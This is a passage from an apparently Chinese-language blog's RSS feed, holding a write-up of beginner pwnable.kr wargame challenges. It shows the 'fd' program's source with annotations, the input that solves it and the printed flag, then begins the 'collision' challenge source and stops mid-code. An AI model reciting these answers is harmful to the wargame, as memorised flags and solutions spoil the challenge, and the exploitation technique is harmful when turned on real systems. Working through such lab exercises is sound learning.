<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Hack Your Heart</title><link>https://h4cker.zip/tags/pwn/</link><description>临渊羡鱼，不如退而结网</description><generator>Hugo 0.168.0</generator><language>en</language><atom:link href="https://h4cker.zip/tags/pwn/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Sun, 03 May 2026 15:00:28 +0800</lastBuildDate><item><title>Pwnable.kr 刷题记录</title><link>https://h4cker.zip/b7a8ad/</link><pubDate>Sun, 03 May 2026 15:00:28 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/b7a8ad/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>这个靶场早有耳闻：<a
  href="https://pwnable.kr/play.php" rel="nofollow noopener noreferrer" target="_blank"
  >https://pwnable.kr/play.php<span style="user-select:none"> ↗</span></a
>
，循序渐进</p>
<h2 id="toddlers-bottle">Toddler&rsquo;s Bottle<a class="anchor" href="#toddlers-bottle">#</a></h2>
<h3 id="fd">fd<a class="anchor" href="#fd">#</a></h3>
<blockquote>
<p>Mommy! what is a file descriptor in Linux?</p>
<ul>
<li>try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
<a
  href="https://youtu.be/971eZhMHQQw" rel="nofollow noopener noreferrer" target="_blank"
  >https://youtu.be/971eZhMHQQw<span style="user-select:none"> ↗</span></a
>
</li>
</ul>
<p>ssh <a
  href="mailto:fd@pwnable.kr"
  >fd@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<p>第一题就把内容全写一下吧：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">ssh fd@pwnable.kr -p2222
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">fd@pwnable.kr&#39;s password:
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">██     ██ ███████ ██       ██████  ██████  ███    ███ ███████     ████████  ██████
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">██     ██ ██      ██      ██      ██    ██ ████  ████ ██             ██    ██    ██
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">██  █  ██ █████   ██      ██      ██    ██ ██ ████ ██ █████          ██    ██    ██
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">██ ███ ██ ██      ██      ██      ██    ██ ██  ██  ██ ██             ██    ██    ██
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go"> ███ ███  ███████ ███████  ██████  ██████  ██      ██ ███████        ██     ██████
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">██████  ██     ██ ███    ██  █████  ██████  ██      ███████    ██   ██ ██████
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">██   ██ ██     ██ ████   ██ ██   ██ ██   ██ ██      ██         ██  ██  ██   ██
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">██████  ██  █  ██ ██ ██  ██ ███████ ██████  ██      █████      █████   ██████
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">██      ██ ███ ██ ██  ██ ██ ██   ██ ██   ██ ██      ██         ██  ██  ██   ██
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">██       ███ ███  ██   ████ ██   ██ ██████  ███████ ███████ ██ ██   ██ ██   ██
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">Admin: daehee (daehee87@khu.ac.kr)
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">Please note that server is under renewal/update.
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">Please don&#39;t brute-force the resource, be kind to other users.
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">Installed Tools: pwndbg, qemu, python2, python3
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">(let admin know if some essential tool is missing)
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">**IMPORTANT: stuff under /tmp can be erased. &#34;/usr/local/bin/cleanup_tmp.sh&#34; runs every 24H **
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">fd@ubuntu:~$ ls
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">fd  fd.c  flag
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">fd@ubuntu:~$ cat flag
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">cat: flag: Permission denied
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">fd@ubuntu:~$ cat fd.c
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="gp">#</span>include &lt;stdio.h&gt;
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="gp">#</span>include &lt;stdlib.h&gt;
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="gp">#</span>include &lt;string.h&gt;
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="go">char buf[32];
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="go">int main(int argc, char* argv[], char* envp[]){
</span></span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="go">        if(argc&lt;2){
</span></span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="go">                printf(&#34;pass argv[1] a number\n&#34;);
</span></span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="go">                return 0;
</span></span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="go">        }
</span></span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="go">        int fd = atoi( argv[1] ) - 0x1234;
</span></span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="go">        int len = 0;
</span></span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="go">        len = read(fd, buf, 32);
</span></span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="go">        if(!strcmp(&#34;LETMEWIN\n&#34;, buf)){
</span></span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="go">                printf(&#34;good job :)\n&#34;);
</span></span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="go">                setregid(getegid(), getegid());
</span></span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="go">                system(&#34;/bin/cat flag&#34;);
</span></span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="go">                exit(0);
</span></span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="go">        }
</span></span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="go">        printf(&#34;learn about Linux file IO\n&#34;);
</span></span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="go">        return 0;
</span></span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="go">}
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>主要是利用给的fd，要求看懂C语言代码：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[],</span> <span class="kt">char</span><span class="o">*</span> <span class="n">envp</span><span class="p">[]){</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="c1">// 检查命令行参数：必须传入至少一个参数 argv[1]
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">argc</span><span class="o">&lt;</span><span class="mi">2</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;pass argv[1] a number</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="c1">// 将传入的字符串转为整数，并减去 0x1234（十进制 4660）
</span></span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="nf">atoi</span><span class="p">(</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">)</span> <span class="o">-</span> <span class="mh">0x1234</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="c1">// 从文件描述符 fd 读取最多 32 字节到 buf 中
</span></span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="c1">// 若 fd=0，此处等价于等待用户输入（或接收管道数据）
</span></span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="n">len</span> <span class="o">=</span> <span class="nf">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">32</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="c1">// 严格比较 buf 内容是否为 &#34;LETMEWIN\n&#34;（注意必须包含换行符）
</span></span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strcmp</span><span class="p">(</span><span class="s">&#34;LETMEWIN</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">buf</span><span class="p">)){</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;good job :)</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">                
</span></span><span class="line"><span class="ln">24</span><span class="cl">                <span class="c1">// 该二进制文件通常被设置了 setgid 位（chmod g+s），且属于能读取 flag 的特殊用户组。
</span></span></span><span class="line"><span class="ln">25</span><span class="cl">                <span class="c1">// setregid() 将真实组ID(RGID)和有效组ID(EGID)都设为当前 EGID
</span></span></span><span class="line"><span class="ln">26</span><span class="cl">                <span class="nf">setregid</span><span class="p">(</span><span class="nf">getegid</span><span class="p">(),</span> <span class="nf">getegid</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">                <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/cat flag&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">                <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;learn about Linux file IO</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">fd@ubuntu:~$ ./fd 4660
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">LETMEWIN
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">good job :)
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">Mama! Now_I_understand_what_file_descriptors_are!
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">fd@ubuntu:~$
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>flag:<code>Mama! Now_I_understand_what_file_descriptors_are!</code></p>
<h3 id="collision">collision<a class="anchor" href="#collision">#</a></h3>
<blockquote>
<p>Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!</p>
<p>ssh <a
  href="mailto:col@pwnable.kr"
  >col@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">hashcode</span> <span class="o">=</span> <span class="mh">0x21DD09EC</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kt">unsigned</span> <span class="kt">long</span> <span class="nf">check_password</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">p</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="c1">// 强制转换为整型指针，地址和值都没变化，只是告诉系统，按整数方式读取。
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="kt">int</span><span class="o">*</span> <span class="n">ip</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="o">*</span><span class="p">)</span><span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="kt">int</span> <span class="n">res</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="c1">//int是4字节存储的，所以每次循环读取4字节，累加
</span></span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">5</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">            <span class="c1">// ip[i]   等价于   *(ip + i)之前的学习讲过的ip就是数组地址
</span></span></span><span class="line"><span class="ln">12</span><span class="cl">                <span class="n">res</span> <span class="o">+=</span> <span class="n">ip</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="k">return</span> <span class="n">res</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="c1">//至少有一个参数
</span></span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">argc</span><span class="o">&lt;</span><span class="mi">2</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;usage : %s [passcode]</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="c1">//若参数长度不是20
</span></span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">!=</span> <span class="mi">20</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;passcode length should be 20 bytes</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">	<span class="c1">// 把参数传入上面的函数里，值与hashcode相等就读取flag
</span></span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">hashcode</span> <span class="o">==</span> <span class="nf">check_password</span><span class="p">(</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">)){</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">                <span class="nf">setregid</span><span class="p">(</span><span class="nf">getegid</span><span class="p">(),</span> <span class="nf">getegid</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">                <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/cat flag&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="k">else</span>
